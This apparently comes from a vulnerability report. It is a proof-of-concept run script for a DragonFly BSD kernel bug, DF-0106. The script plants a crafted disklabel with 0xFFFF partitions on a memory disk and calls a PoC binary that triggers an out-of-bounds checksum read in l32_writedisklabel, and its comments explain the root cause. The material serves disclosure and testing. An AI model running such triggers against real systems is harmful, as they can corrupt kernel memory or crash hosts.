#!/bin/sh
# DF-0106 run script (run on the DragonFly guest AS ROOT -- vnconfig and opening
# /dev/vn0s0 O_RDWR both require root or the operator group; maxx is NOT in
# operator, matching the finding's threat model of root/operator-only access).
#
# 1. Plants a CRAFTED on-disk disklabel32 at sector 1 (byte 512) of an 8 MiB
#    memory disk: d_magic=d_magic2=DISKMAGIC32, d_npartitions=0xFFFF.
# 2. Issues DIOCWDINFO32 on /dev/vn0s0 with a valid virgin label.  DIOCWDINFO
#    first installs the valid label (DIOCSDINFO/l32_setdisklabel, passes), then
#    calls op_writedisklabel = l32_writedisklabel, which READS sector 1 (the
#    crafted label) and runs dkcksum32(dlp) over it WITHOUT the
#    d_npartitions > MAXPARTITIONS32 guard that protects l32_readdisklabel
#    (subr_disklabel32.c:225-226).  dkcksum32 walks ~1 MiB out of bounds.
#
# On this kernel the writedisklabel read buffer is a getpbuf_mem buffer that
# lives in a ~24 MiB contiguous wired region (swapbkva_mem), so the ~1 MiB OOB
# walk almost always stays mapped and does NOT fault -> the trigger returns
# ESRCH (loop found no valid on-disk label because the OOB-corrupted checksum is
# nonzero).  The missing-guard BUG is confirmed in source
# (sys/kern/subr_disklabel32.c:363-364); the identical root-cause panic is
# reproduced live via sibling DF-0107 (dkcksum32 from l32_setdisklabel).
set -e
cd "$(dirname "$0")"

rm -f /tmp/oob.img
dd if=/dev/zero of=/tmp/oob.img bs=1m count=8 >/dev/null 2>&1
vnconfig -c vn0 /tmp/oob.img >/dev/null 2>&1 || true
test -e /dev/vn0s0 || { echo "vn0s0 did not appear"; exit 1; }

echo "[*] planting crafted on-disk label (d_npartitions=0xFFFF) + DIOCWDINFO32"
./poc_writedisklabel /dev/vn0 /dev/vn0s0
